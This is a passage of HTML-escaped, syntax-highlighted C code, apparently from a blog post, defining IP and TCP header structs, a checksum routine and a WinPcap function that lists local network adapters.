#000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ttl;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;proto;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;short&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;checksum;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;int&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sourceIP;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;int&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;destIP;&lt;br&gt;}IP_HEADER;&lt;br&gt;&lt;br&gt;typedef&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;struct&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;tcp_hdr&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;short&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;th_sport;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;short&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;th_dport;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;int&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;th_seq;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;int&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;th_ack;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;th_lenres;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;th_flag;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;short&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;th_win;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;short&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;th_sum;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;short&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;th_urp;&lt;br&gt;}TCP_HEADER;&lt;br&gt;&lt;br&gt;typedef&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;struct&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;tsd_hdr&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;long&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;saddr;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;long&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;daddr;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mbz;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ptcl;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;short&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tcpl;&lt;br&gt;}PSD_HEADER;&lt;br&gt;&lt;br&gt;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;short&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;CheckSum(unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;short&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;buffer,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;int&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;size)&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;long&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;cksum&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;while&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(size&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cksum&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;buffer&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;++&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;size&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;short&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(size)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cksum&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&amp;nbsp;buffer;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cksum&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(cksum&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;16&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(cksum&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0xffff&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cksum&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(cksum&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;16&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;short&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&amp;nbsp;(&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;~&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;cksum);&lt;br&gt;}&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;/*&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;void&amp;nbsp;GetLocalIP(&amp;nbsp;)&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WORD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wVersionRequested;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WSADATA&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsaData;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;name[255];&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PHOSTENT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hostinfo;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wVersionRequested&amp;nbsp;=&amp;nbsp;MAKEWORD(&amp;nbsp;2,&amp;nbsp;0&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(&amp;nbsp;WSAStartup(&amp;nbsp;wVersionRequested,&amp;nbsp;&amp;amp;wsaData&amp;nbsp;)&amp;nbsp;==&amp;nbsp;0&amp;nbsp;)&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(&amp;nbsp;gethostname(&amp;nbsp;name,&amp;nbsp;sizeof(name)&amp;nbsp;)&amp;nbsp;==&amp;nbsp;0&amp;nbsp;)&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(&amp;nbsp;(hostinfo&amp;nbsp;=&amp;nbsp;gethostbyname(name)&amp;nbsp;)&amp;nbsp;!=&amp;nbsp;NULL&amp;nbsp;)&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy(&amp;nbsp;LocalIP,&amp;nbsp;inet_ntoa(&amp;nbsp;*(struct&amp;nbsp;in_addr*)*hostinfo-&amp;gt;h_addr_list&amp;nbsp;)&amp;nbsp;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WSACleanup(&amp;nbsp;&amp;nbsp;&amp;nbsp;);&amp;nbsp;&amp;nbsp;&lt;br&gt;}&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*/&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;int&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;GetDevices(&amp;nbsp;)&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pcap_if_t&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;alldevs;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pcap_if_t&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;d;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;int&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;i&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;errbuf[PCAP_ERRBUF_SIZE];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;/*&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;获取本地机器设备列表&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*/&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(pcap_findalldevs_ex(PCAP_SRC_IF_STRING,&amp;nbsp;NULL&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;/*&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;auth&amp;nbsp;is&amp;nbsp;not&amp;nbsp;needed&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*/&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;alldevs,&amp;nbsp;errbuf)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fprintf(stderr,&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Error&amp;nbsp;in&amp;nbsp;pcap_findalldevs_ex:&amp;nbsp;%s\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;errbuf);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;/*&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;打印列表&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*/&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;for&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;d&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;alldevs;&amp;nbsp;d&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;NULL;&amp;nbsp;d&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;d&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;next&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;%d.&amp;nbsp;%s&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;++&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;i,&amp;nbsp;d&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;name);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(d&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;description)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(%s)&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;d&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;description&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;d&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;addresses&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;NULL&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;d&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;addresses&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;addr&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;sa_family&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: 